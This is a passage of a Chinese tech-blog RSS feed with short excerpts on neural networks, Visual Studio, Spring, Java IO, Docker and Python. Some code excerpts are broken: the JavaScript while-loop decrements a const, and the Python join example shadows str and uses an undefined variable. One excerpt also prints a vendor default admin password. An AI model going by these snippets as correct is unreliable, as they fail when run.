      <description>上一篇我们了解了前馈神经网络的基础概念知识之后，本文来实现前馈神经网络。本文是接着上一篇深度学习之 9 前馈神经网络 基本概念_水w的博客-CSDN博客&#xA;目录&#xA;手动实现前馈神经网络&#xA;（1）数据集介绍&#xA;➢ Fashion-MNIST数据集下载&#xA;➢ 批量读取数据，采用torch.utils.data.DataLoader读取小批量数据&#xA;（2）模型设计（包含一个隐藏层）&#xA;（3）代码实现&#xA;➢ 模型参数定义及初始化&#xA;➢ 定义激活函数，我们选用ReLU作为激活函数&#xA;➢ 定义模型，随机梯度下降函数，交叉熵损失函数，&#xA;➢ 计算模型在某个数据集上的准确率&#xA;➢ 定义模型训练函数&#xA;➢ 训练模型&#xA;Torch.nn实现前馈神经网络&#xA;（3）代码实现&#xA;➢ 实现FlattenLayer层 ➢ 模型定义和参数初始化&#xA;➢ 计算模型在某个数据集上的准确率和loss&#xA;➢ 设置训练轮次、学习率、损失函数和优化器&#xA;➢ 模型训练，保存训练集和验证集的loss&#xA;➢ 训练结果和loss曲线绘制 ➢ 绘制loss曲线&#xA;模型调优&#xA;（1）实验数据划分&#xA;◼ 手动实现K折交叉验证&#xA;（2） 模型选择、欠拟合、过拟合&#xA;◼ 多项式函数拟合实验探究影响欠拟合、过拟合的因素&#xA;（3）过拟合问题的常用方法——L 2 范数正则化&#xA;◼ 以高维线性回归为例来引入一个过拟合问题&#xA;◼ 手动实现𝑳𝟐范数正则化&#xA;◼ 利用torch.optim的weight_decay参数实现𝑳𝟐范数正则化&#xA;（4）应对过拟合问题的常用方法——Dropout&#xA;◼ 手动实现dropout&#xA;◼ 利用torch.nn.Dropout层实现dropout&#xA;手动实现前馈神经网络 （1）数据集介绍 采用Fashion-MNIST数据集完成多分类任务。&#xA;训练集：60,000 测试集：10,000每个样本的数据格式为：28*28*1（高*宽*通道）Fashion-MNIST中包含的10个类别分别为： t-shirt（T恤）、trouser（裤⼦）、pullover（套衫）、dress（连⾐裙）、coat（外套）、sandal（凉鞋）、shirt（衬衫）、sneaker（运动鞋）、bag（包）和ankle boot（短靴）。 ➢ Fashion-MNIST数据集下载 ➢ 批量读取数据，采用torch.</description>
    </item>
    <item>
      <title>VS2022的下载和使用</title>
      <link>https://bchobby.github.io/posts/303d22184fe3a3593548c173049381eb/</link>
      <pubDate>Sat, 23 Jul 2022 15:37:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/303d22184fe3a3593548c173049381eb/</guid>
      <description>目录&#xA;一、VS2022的下载&#xA;二、VS的一些使用技巧&#xA;1.如何使用VS写代码&#xA;2.scanf函数在VS上的使用&#xA;3.下载后怎么安装新的工作负荷&#xA;4.VS的调试与监视功能&#xA;如何进行调试&#xA;如何进行监视&#xA;三、结语&#xA;一、VS2022的下载 VS官网链接&#xA;1.打开VS的官网链接，选择下载Visual Studio，选择社区版，点击下载。&#xA;2.工作负荷选择使用c++的桌面开发即可，单个组件不需要选择，语言包默认勾选中文简体，安装位置默认c盘，如果感觉自己的c盘内存不够，建议把c改成d，其余不要动就好了。确认无误后，点击安装。&#xA;这个时候可能有的小伙伴就要问了，我多选几个不是更好吗，没准以后学别的就用到了，像小编有的朋友，一下子把所有的工作负荷都打上了√，需求的总空间达到了40多个GB，其实并没有这个必要，因为VS下载之后还是可以再安装工作负荷的。当我们真正使用到了在安装更好，后续再功能介绍这一块我会讲解安装方法的。&#xA;二、VS的一些使用技巧 1.如何使用VS写代码 打开VS，在开始使用一栏中选择创建新项目。&#xA;项目模板选择空项目，下一步。&#xA;取一个项目名称。（尽量不要用中文），路径可以选择默认路劲，也可以自己选择。解决方案管理器建议选择“将解决方案和项目放在同一目录中”，然后就可以创建了。&#xA;打开项目后，看向右边的解决方案资源管理器（如果发现没有也没关系，再最上方找到视图，点击，第一个就是解决方案资源管理器，点击打开就好），选择源文件。&#xA;右击，选择添加，选择新建项。&#xA;选择c++文件，但名称需要以.c为后缀，像图片中那样，因为我们目前学的是c语言，而不是c++。设置好之后，选择右下角的添加就可以了。&#xA;如此，大功告成，开始写第一个程序吧！&#xA;2.scanf函数在VS上的使用 下面我们来看一个简单的程序。这个程序乍一看并没有问题，但在VS上就是运行不了。&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int n = 0; scanf(&#34;%d&#34;, &amp;amp;n); return 0; } 在错误列表中会显示这么一段话。&#xA;这是因为在VS当中，scanf被认为成是不安全的函数。（其实，像这样不安全的函数，VS认为有很多，比如说strcpy，strcat，gets函数等，不过，采用我下面所讲的第二种解决办法，这些函数就都可以在VS上运行）这里有两种解决办法，第一种办法是直接使用scanf_s函数作为替代，但我不推荐这个做，一来，scanf函数是c语言的函数，而scanf_s函数是VS的特有函数，在别的编译器无法运行。二来，scanf_s函数与scanf函数类似，但不完全一样，要使用scanf_s函数还需要单独学习。我推荐使用第二种方法，这种方法只要在原有的基础上添加一个宏定义即可（放在文件第一行）。代码如下。&#xA;#define _CRT_SECURE_NO_WARNINGS 1 这样scanf函数就可以正常使用了。但如果每次创建一个项目都需要加上这么一串代码的话未必太过麻烦，这里有个很好的解决办法，可以让文件自动生成这段代码。首先，我们需要找一个文件，这里要用到一个软件，叫Everything（点击下方链接即可，当中有很多版本，都可以下载来用）。&#xA;Everything下载链接&#xA;下载完成后打开这个软件，搜索框输入newc++file.cpp，找到这个文件，右击，选择打开路径。（当然，也可以不下载，直接在电脑中查找，不过这样查找比较慢）&#xA;我们来到指定路劲，右击，选择复制，然后在桌面上选择粘贴。（为什么要复制到桌面进行操作呢，因为如果还是在安装的位置当中操作的话，会遇到无法保存的问题）&#xA;粘贴完成后，右击，选择打开方式，选择记事本打开。&#xA;将下述代码复制到记事本中就可以了。&#xA;#define _CRT_SECURE_NO_WARNINGS 1 就像这样，点击保存（小技巧：保存的快捷键是ctrl+s）。&#xA;保存完成后，将该文件拖回原来的路劲，选择替换目标中的文件。&#xA;这一步完成后，把桌面剩下的那个文件拖入回收站就好了。到此，大功告成，虽然有些繁琐，不过后面我们创建的所有文件都会自动生成“#define _CRT_SECURE_NO_WARNINGS 1”了，可谓一劳永逸。现在使用scanf函数系统就不会报错了。&#xA;3.下载后怎么安装新的工作负荷 其实这很简单，在页面的最上分找到工具，选择获取工具和功能。&#xA;此时，选择你想要安装的组件或者工作负荷就好了。&#xA;4.VS的调试与监视功能 这里建议读者阅读完之后亲自动手实践一下，一定会有不一样的收获&#xA;如何进行调试 VS中，使用fn+f10或fn+f11（有的电脑是f10，后面的快捷键也类似，此处我以带fn为例）可以进入调试页面，调试过程中按f10或f11执行语句即可。（f10是逐过程，通常用来处理一个过程，一个过程可以是一次函数调用，或者是一条语句。而f11是逐语句，每次都执行一条语句，但是这个快捷键可以使我们的执行逻辑进入函数内部，而f10不会，这是最长用的。）&#xA;如何进行监视 页面上方找到调试，选择窗口，选择监视，选择监视1。&#xA;这样就会出现监视1的窗口。</description>
    </item>
    <item>
      <title>DOM - 查看当前节点下有无子元素节点</title>
      <link>https://bchobby.github.io/posts/a96ffd8db81075e76c1698ea464193c3/</link>
      <pubDate>Sat, 23 Jul 2022 14:18:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a96ffd8db81075e76c1698ea464193c3/</guid>
      <description> for 循环版 Element.prototype.hasChildren = function () { const childNodes = this.childNodes, len = childNodes.length; for (let i = 0; i &amp;lt; len; i++) { const item = childNodes[i]; if (item.nodeType === 1) { return true; } } return false; } while 循环版 Element.prototype.hasChildren = function () { const childNodes = this.childNodes, len = childNodes.length; while (len) { item = childNodes[len - 1]; // 倒着遍历 if (item.nodeType === 1) { return true; } len--; } return false; } </description>
    </item>
    <item>
      <title>[已解决]SpringCloud集群分布Eureka依赖问题</title>
      <link>https://bchobby.github.io/posts/14618ef56f3475309cb60ac523718799/</link>
      <pubDate>Sat, 23 Jul 2022 12:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14618ef56f3475309cb60ac523718799/</guid>
      <description>Eureka分布式警告问题 在学习SpringCloud时,配置Eureka集群分布式抛出警告 WARN — [ restartedMain] arterDeprecationWarningAutoConfiguration : spring-cloud-starter-eureka-server is deprecated as of Spring Cloud Netflix 1.4.0, please migrate to spring-cloud-starter-netflix-eureka-server&#xA;eureka-server&#xA;说明该依赖已经废弃,需要使用spring-cloud-starter-netflix-eureka-server这个依赖（下面有链接）&#xA;eureka-client&#xA;同样在使用spring-cloud-starter-eureka也是同样情况&#xA;建议使用spring-cloud-starter-netflix-eureka-client这个依赖&#xA;获取地址&#xA;spring-cloud-starter-netflix-eureka-server&#xA;spring-cloud-starter-netflix-eureka-client</description>
    </item>
    <item>
      <title>IO流之 字节流 &amp; 字符流</title>
      <link>https://bchobby.github.io/posts/3c3e81d42806f862b065e69fa9fcadd7/</link>
      <pubDate>Sat, 23 Jul 2022 00:23:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c3e81d42806f862b065e69fa9fcadd7/</guid>
      <description>目录&#xA;前言&#xA;一、了解IO流&#xA;1.IO流的特点&#xA;2.流的三种分类方式&#xA;3.流的层次结构&#xA;二、字节流&#xA;1.什么是字节流&#xA;2.使用字节流实现文件拷贝&#xA;3.使用try - catch - finally 优化资源释放&#xA;4.使用try - catch - resource 进一步优化资源释放&#xA;三、字符流&#xA;1.什么是字符流&#xA;2.文件字符输入流 - 每次读取单个字符&#xA;3. 文件字符输入流 - 每次读取一个字符数组&#xA;4.字符输出流&#xA;总结&#xA;前言 大多数应用程序都需要实现与设备之间的数据传输，例如键盘可以输入数据，显示器可以显示程序的运行结果等。在Java中，将这种通过不同输入输出设备（键盘，内存，显示器，网络等）之间的数据传输抽象的表述为“流”，程序允许通过流的方式与输入输出设备进行数据传输。Java中的“流”都位于Java.io包中，称之为IO（输入输出）流。 IO流：即InputOutput的缩写。&#xA;一、了解IO流 1.IO流的特点 IO流用来处理设备间的数据传输。&#xA;Java对数据的操作是通过流的方式。&#xA;Java用于操作流的对象都在IO包中。&#xA;流按操作数据分为两种：字节流和字符流。&#xA;流按流向分为：输入流和输出流&#xA;2.流的三种分类方式 按流的方向分为：输入流和输出流&#xA;按流的数据单位不同分为：字节流和字符流&#xA;按流的功能不同分为:节点流和处理流&#xA;3.流的层次结构 IO流的常用基类：&#xA;字节流的抽象基流：InputStream和OutputStream字符流的抽象基流：Reader和Writer 二、字节流 1.什么是字节流 一切文件数据在存储时，都是以二进制数字的形式保存，都一个一个的字节，那么传输时一样如此。所以，字节流可以传输任意文件数据。在操作流的时候，我们要时刻明确，无论使用什么样的流对象，底层传输的始终为二进制数据。&#xA;2.使用字节流实现文件拷贝 无论是音视频文件还是文本文件底层都是字节组成，因此可以使用字节输入流&amp;amp;字节输出流完成任何形式文件拷贝（只要保证前后文件格式、编码一致没有任何问题）&#xA;注意： 字节流不适合读取中文内容输出，（在UTF-8编码中，一个中文字符是3个字节）容易出现截断导致乱码&#xA;public static void main(String[] args) { try { //创建字节输入流管道 InputStream is = new FileInputStream(&#34;</description>
    </item>
    <item>
      <title>VMware中安装FusionCompute8.1.1 CNA和VRM镜像安装</title>
      <link>https://bchobby.github.io/posts/33cf06f14f7b16625533642e075d2703/</link>
      <pubDate>Fri, 22 Jul 2022 18:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33cf06f14f7b16625533642e075d2703/</guid>
      <description>VMware中安装FcusionCompute8.1 一、VMware Workstation分别安装CNA、VRM&#xA;注意事项：&#xA;根据自身电脑的规格，一般8G+内存的电脑配置可以支持&#xA;若自己电脑是4G规格建议跳过该实验&#xA;若自己电脑是8G规格建议测试分开VRM，CNA&#xA;若自己电脑是16G规格可以同时测试CNA，VRM&#xA;VRM手动安装：&#xA;创建一台虚拟机，规格：6核CPU、8G内存、200G磁盘（不立即分配） ，挂载VRM的镜像，配置相关参数，具体参数如下&#xA;1.创建虚拟机，勾选自定义&#xA;2.选择稍后安装操作系统&#xA;3.操作系统版本选择SUSE Linux Enterprise 12 64位（不要选错了啦！）&#xA;4.建议选择非系统盘，非还原盘存放虚拟机文件，防止磁盘空间不足或数据丢失&#xA;5.网络类型可以自行进行配置，可以选择桥接，NAT，仅主机，但后续配置静态配置VRM的地址需要跟桥接网络，NAT网络，仅主机网络同一个网段!&#xA;6.选择推荐&#xA;7.磁盘类型选择IDE&#xA;8.分配200G，不立即分配（精简）&#xA;9.为虚拟机挂载VRM镜像（VRM.ISO）&#xA;10虚拟化引擎勾选vt -x&#xA;11.打开虚拟机，选择install&#xA;12.系统加载中&#xA;13.配置相关参数（Tab键移动）配置网络，主机名，密码即可，网络配置与NAT网络相同网段（根据个人虚拟网络适配器配置进行选择）&#xA;配置IP地址和子网掩码&#xA;配置网关&#xA;选择IPV4&#xA;给主机命名&#xA;设置密码&#xA;配置都没问题，选择yes，等待安装&#xA;14.等待进度条&#xA;15.安装成功&#xA;16.输入用户名密码，正常访问VRM主机，在浏览器输入VRM的IP地址，登陆 FusionCompute（FusionCompute用户名：admin 密码：IaaS@PORTAL-CLOUD8!）&#xA;注意：VRM安装完毕后，需要稍等片刻，才能访问FusionCompute界面&#xA;CNA手动安装:&#xA;创建一台虚拟机，规格：4核CPU ，8GB内存，150GB硬盘（不立即分配），挂载CNA的镜像，配置相关参数，具体配置参数可以参考VRM手动安装。&#xA;1、输入用户名密码，正常访问CNA主机，输入virsh list –all&#xA;注意：通过Vmware安装的VRM可能无法对接CNA，存在不同厂商不兼容的问题，也无法通过工具部署VRM与CNA。</description>
    </item>
    <item>
      <title>电源接头DC002的PCB封装</title>
      <link>https://bchobby.github.io/posts/386a28d47e72efb48015ec9c112d89ab/</link>
      <pubDate>Fri, 22 Jul 2022 17:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/386a28d47e72efb48015ec9c112d89ab/</guid>
      <description>DC电源接口2、3脚接地，1脚是VCC（电源）。&#xA;AD16的元器件PWR2.5，可直接使用。但只有5.5规格的PCB封装，DC002型号的要自己做。</description>
    </item>
    <item>
      <title>Redis配置Kryo序列化和Snappy压缩</title>
      <link>https://bchobby.github.io/posts/1978b30049cd8511bd11ba57edc8aa65/</link>
      <pubDate>Fri, 22 Jul 2022 11:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1978b30049cd8511bd11ba57edc8aa65/</guid>
      <description>前言 redis自带的StringSerializer性能相对较差，redis官方推荐kryo来提高序列化和反序列化速度，推荐snappy来节约redis内存和网络带宽，在springboot中可以通过配置快速实现这个功能&#xA;maven配置 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.esotericsoftware&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;kryo&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.xerial.snappy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;snappy-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.8.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 配置KryoRedisSerializer import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import lombok.extern.slf4j.Slf4j; import org.springframework.data.redis.serializer.RedisSerializer; import org.springframework.data.redis.serializer.SerializationException; import java.io.ByteArrayOutputStream; /** * @author 后厂村老司机 */ @Slf4j public class KryoRedisSerializer&amp;lt;T&amp;gt; implements RedisSerializer&amp;lt;T&amp;gt; { public static final byte[] EMPTY_BYTE_ARRAY = new byte[0]; private static final ThreadLocal&amp;lt;Kryo&amp;gt; KYROS = ThreadLocal.withInitial(Kryo::new); private Class&amp;lt;T&amp;gt; clazz; public KryoRedisSerializer(Class&amp;lt;T&amp;gt; clazz) { super(); this.clazz = clazz; } @Override public byte[] serialize(T t) throws SerializationException { if (t == null) { return EMPTY_BYTE_ARRAY; } Kryo kryo = KYROS.</description>
    </item>
    <item>
      <title>ChromeDriver下载-自用</title>
      <link>https://bchobby.github.io/posts/f61a4cf60647ba1900236842191d4e71/</link>
      <pubDate>Fri, 22 Jul 2022 09:56:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f61a4cf60647ba1900236842191d4e71/</guid>
      <description> 官网地址：https://chromedriver.chromium.org/downloads 仓库地址：http://chromedriver.storage.googleapis.com/index.html </description>
    </item>
    <item>
      <title>Java8 Stream流中的 collect() 方法，远比你想象中的强大</title>
      <link>https://bchobby.github.io/posts/40ad104c4321e507f84ec4b2e2393591/</link>
      <pubDate>Fri, 22 Jul 2022 09:40:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40ad104c4321e507f84ec4b2e2393591/</guid>
      <description>点击关注公众号，利用碎片时间学习&#xA;Stream流 collect() 方法的使用介绍&#xA;//1. &amp;lt;R&amp;gt; R collect(Supplier&amp;lt;R&amp;gt; supplier, BiConsumer&amp;lt;R, ? super T&amp;gt; accumulator, BiConsumer&amp;lt;R, R&amp;gt; combiner); //2. &amp;lt;R, A&amp;gt; R collect(Collector&amp;lt;? super T, A, R&amp;gt; collector); Stream 流的注意事项：Stream不调用终止方法，中间的操作不会执行。&#xA;但是，当我们对 Stream 流中的数据操作完成之后，如果需要将流的结果进行保存，方便我们接下来对结果的继续操作，该怎么办呢？&#xA;Stream 流提供了一个 collect() 方法，可以收集流中的数据到【集合】或者【数组】中去。&#xA;1.收集 Stream 流中的数据到集合中 //1.收集数据到list集合中 stream.collect(Collectors.toList()) //2.收集数据到set集合中 stream.collect(Collectors.toSet()) //3.收集数据到指定的集合中 Collectors.toCollection(Supplier&amp;lt;C&amp;gt; collectionFactory) stream.collect(Collectors.joining()) 示例如下：&#xA;/** * 收集Stream流中的数据到集合中 * 备注：切记Stream流只能被消费一次,流就失效了 * 如下只是示例代码 */ public class CollectDataToCollection{ public static void main(String[] args) { //Stream 流 Stream&amp;lt;String&amp;gt; stream = Stream.</description>
    </item>
    <item>
      <title>【SpringBoot】The dependencies of some of the beans in the application context form a cycle</title>
      <link>https://bchobby.github.io/posts/1bfdc8900b0b5e2656ae2bf2a5a550c0/</link>
      <pubDate>Fri, 22 Jul 2022 09:23:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bfdc8900b0b5e2656ae2bf2a5a550c0/</guid>
      <description> 这句话的意思是：应用程序上下文中某些bean的依赖关系形成了一个循环&#xA;有时候在写项目时会忘记类的依赖关系，很容易导致两个对象互相注入，形成了一个循环，但是官方是不鼓励依赖循环，默认情况下禁止它们。&#xA;解决办法1 Update your application to remove the dependency cycle between beans 更新应用程序以删除bean之间的依赖关系循环。一般控制台会打出来告诉你是哪里的类导致的互相依赖。比如以下日志：&#xA;The dependencies of some of the beans in the application context form a cycle: ┌─────┐ | springLoopService1 (field com.jiefei.jdbc.service.impl.SpringLoopService2 com.jiefei.jdbc.service.impl.SpringLoopService1.springLoopService2) ↑ ↓ | springLoopService2 (field com.jiefei.jdbc.service.impl.SpringLoopService1 com.jiefei.jdbc.service.impl.SpringLoopService2.springLoopService1) └─────┘ 直接根据自己需要，让他们不要互相依赖就行了。&#xA;解决办法2 在application.yml 中使用以下配置，好像是SpringBoot2.6.0之后默认禁止的。&#xA;spring: main: allow-circular-references: true #允许循环引用 </description>
    </item>
    <item>
      <title>java基础面试题2022（常见）</title>
      <link>https://bchobby.github.io/posts/433ae4087e38a5adc61f15765b55da57/</link>
      <pubDate>Fri, 22 Jul 2022 08:07:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/433ae4087e38a5adc61f15765b55da57/</guid>
      <description>发现网上很多Java面试题都没有答案，所以花了很长时间搜集整理出来了这套Java面试题大全，希望对大家有帮助哈~&#xA;本套Java面试题大全，全的不能再全，哈哈~&#xA;博主已将以下这些面试题整理成了一个Java面试手册，是PDF版的。&#xA;关注博主的微信公众号：Java团长，然后回复“面试手册”即可获取~&#xA;一、Java基础知识面试题 1、Java概述 ①. 何为编程 编程就是让计算机为解决某个问题而使用某种程序设计语言编写程序代码，并最终得到结果的过程。&#xA;为了使计算机能够理解人的意图，人类就必须要将需解决的问题的思路、方法、和手段通过计算机能够理解的形式告诉计算机，使得计算机能够根据人的指令一步一步去工作，完成某种特定的任务。这种人和计算机之间交流的过程就是编程。&#xA;②. 什么是Java Java是一门面向对象编程语言，不仅吸收了C++语言的各种优点，还摒弃了C++里难以理解的多继承、指针等概念，因此Java语言具有功能强大和简单易用两个特征。Java语言作为静态面向对象编程语言的代表，极好地实现了面向对象理论，允许程序员以优雅的思维方式进行复杂的编程 。&#xA;③. jdk1.5之后的三大版本 Java SE（J2SE，Java 2 Platform Standard Edition，标准版）&#xA;Java SE 以前称为 J2SE。它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类，并为Java EE和Java ME提供基础。Java EE（J2EE，Java 2 Platform Enterprise Edition，企业版）&#xA;Java EE 以前称为 J2EE。企业版本帮助开发和部署可移植、健壮、可伸缩且安全的服务器端Java 应用程序。Java EE 是在 Java SE 的基础上构建的，它提供 Web 服务、组件模型、管理和通信 API，可以用来实现企业级的面向服务体系结构（service-oriented architecture，SOA）和 Web2.0应用程序。2018年2月，Eclipse 宣布正式将 JavaEE 更名为 JakartaEEJava ME（J2ME，Java 2 Platform Micro Edition，微型版）&#xA;Java ME 以前称为 J2ME。Java ME 为在移动设备和嵌入式设备（比如手机、PDA、电视机顶盒和打印机）上运行的应用程序提供一个健壮且灵活的环境。Java ME 包括灵活的用户界面、健壮的安全模型、许多内置的网络协议以及对可以动态下载的连网和离线应用程序的丰富支持。基于 Java ME 规范的应用程序只需编写一次，就可以用于许多设备，而且可以利用每个设备的本机功能。 ④.</description>
    </item>
    <item>
      <title>QT&#43;OpenGL(1)——包含头文件</title>
      <link>https://bchobby.github.io/posts/9921d5c00031984fe65751408b36343d/</link>
      <pubDate>Fri, 22 Jul 2022 03:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9921d5c00031984fe65751408b36343d/</guid>
      <description>关于智能提示建议放弃Cmake生成，直接包含头文件，包含方法如下&#xA;如果找不到头文件，直接用everything搜相应文件，再给包含进去&#xA;需要新建文件夹，新建文件&#xA;c_cpp_properties.json&#xA;​ { &#34;configurations&#34;: [ { &#34;name&#34;: &#34;Win32&#34;, &#34;includePath&#34;: [ &#34;${workspaceFolder}/**&#34;, &#34;C:\\Qt\\Qt5.9.1\\5.9.1\\mingw53_32\\include\\**&#34;, &#34;C:\\Qt\\Qt5.9.1\\Tools\\mingw530_32\\lib\\gcc\\i686-w64-mingw32\\5.3.0\\include\\**&#34;, &#34;C:\\mingw64\\lib\\gcc\\x86_64-w64-mingw32\\8.1.0\\include\\c++\bits&#34;, &#34;D:\\QT\\OpenGLDemoCode\\Chap03\\build-Sampl_3_3Exercise-Desktop_Qt_5_9_1_MinGW_32bit-Debug\\**&#34; ], &#34;defines&#34;: [ &#34;_DEBUG&#34;, &#34;UNICODE&#34;, &#34;_UNICODE&#34; ], &#34;cStandard&#34;: &#34;c17&#34;, &#34;cppStandard&#34;: &#34;c++17&#34;, &#34;intelliSenseMode&#34;: &#34;windows-msvc-x64&#34; } ], &#34;version&#34;: 4 } ​ 智能提示如下</description>
    </item>
    <item>
      <title>【Docker】docker启动nacos,Client not connected,current statusSTARTING</title>
      <link>https://bchobby.github.io/posts/166b2e91cb3c9dbb09fdb4109e82adaa/</link>
      <pubDate>Thu, 21 Jul 2022 21:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/166b2e91cb3c9dbb09fdb4109e82adaa/</guid>
      <description>Client not connected,current status:STARTING&#xA;楼主nacos的版本是2.0.3，之前安装nacos是在window上安装，这一次是想用docker安装nacos,然后微服务项目注册进去，但是在启动的过程中报错，提示Client not connected,current status:STARTING,这是因为2.X之后加了一个grpc的远程通信端口，所以在你的docker run 原命令之上再加一个 9848的端口进行映射就可以了。&#xA;楼主的原命令大致是以下这样&#xA;docker run --name docker-quick -e MODE=standalone -p 8848:8848 -d nacos/nacos-server:v2.0.3 现在改为&#xA;docker run --name docker-quick -e MODE=standalone -p 8848:8848 -p 9848:9848 -d nacos/nacos-server:v2.0.3 解决了的话，记得给楼主点个赞哟。</description>
    </item>
    <item>
      <title>Spring Boot 里面引入hive-jdbc包，依赖冲突，tomcat启动不了</title>
      <link>https://bchobby.github.io/posts/1982034c766e0f5f2f9597961e5a4d2d/</link>
      <pubDate>Thu, 21 Jul 2022 19:02:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1982034c766e0f5f2f9597961e5a4d2d/</guid>
      <description> SpringBoot 版本不管多少， 只要引入了hive-jdbc， 他指定会让你jar包冲突， 因为不是内嵌tomcat问题，就是和tomcat jar包冲突&#xA;遇到了大坑，所以在这里记录下，让各位不要遇到这种问题了&#xA;这次使用tomcat进行启动的时候，有遇到了错误&#xA;tomcat 作为容器进行启动的时候爆出的错误&#xA;上面这个错误tomcat8.0启动会报这个错误&#xA;tomcat8.5会报这个错误&#xA;Caused by: java.lang.StackOverflowError at org.apache.logging.log4j.spi.Logg&#xA;就是因为引入了这个jar包&#xA;org.apache.hive hive-jdbc 3.1.1 这个Hive-jdbc的jar包中，引入了很多的jar包，所以要是冲突了需要把个别的冲突jar包进行排除掉 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hive&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hive-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1.1&amp;lt;/version&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;logback-classic&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.apache.logging.log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j-slf4j-impl&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-log4j12&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.eclipse.jetty.orbit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;*&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.eclipse.jetty.aggregate&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;*&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;tomcat&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;*&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;servlet-api&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.mortbay.jetty&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;*&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; 以上之后重新打包，tomcat启动成功！&#xA;=2019年5月8日08:48:04更新=&#xA;最后再说一句：如果你只需要hive-jdbc这个jar包&#xA;请这样写&#xA;org.apache.hive hive-jdbc 3.1.1 * * 排除所有其他无关jar包 </description>
    </item>
    <item>
      <title>远坂凛壁纸</title>
      <link>https://bchobby.github.io/posts/92e3ea8496d5b106064df5c09f66c0eb/</link>
      <pubDate>Thu, 21 Jul 2022 18:08:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92e3ea8496d5b106064df5c09f66c0eb/</guid>
      <description> </description>
    </item>
    <item>
      <title>python数组和字符串之间的转换</title>
      <link>https://bchobby.github.io/posts/03ef5ee88f3f0bbc66765eee39a6e566/</link>
      <pubDate>Thu, 21 Jul 2022 17:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03ef5ee88f3f0bbc66765eee39a6e566/</guid>
      <description>python数组和字符串之间的转换 字符串转数组&#xA;str = &#39;1,2,3&#39;&#xA;arr = str.split(&#39;,&#39;)&#xA;数组转字符串&#xA;arr = [&#39;a&#39;,&#39;b&#39;]&#xA;str = &#39;&#39;.join(arr)&#xA;arr = [1,2,3]&#xA;str = &#39;&#39;.join(str(i) for i in b)&#xA;2. 解决方案&#xA;2.1 分割字符串（仅含有字母或数字）&#xA;import re string1 = &#34;asd33fghjk44lqwert5yuiop&#34; st1 = re.findall(r&#39;\w{5}&#39;, string1) print(st1) #[&#39;asd33&#39;, &#39;fghjk&#39;, &#39;44lqw&#39;, &#39;ert5y&#39;] 输出如上，且最后不足5位的（无法匹配到5个位点），直接舍弃。&#xA;2.2 分割字符串（包含任意字符）&#xA;string2 = &#34;as_d33er==tyui+5+op&#34; st2 = re.findall(r&#39;.{5}&#39;, string2) print(st2) # [&#39;as_d3&#39;, &#39;3er==&#39;, &#39;tyui+&#39;] 输出如上，且最后不足5位的，直接舍弃。&#xA;2.3 正则匹配相关库介绍&#xA;这里使用了re模块的findall函数：&#xA;re ：这个模块提供了正则表达式匹配操作，正则表达式是一个特殊的字符序列，它能帮助你方便的检查一个字符串是否与某种模式匹配。re.findall：findall(pattern, string, 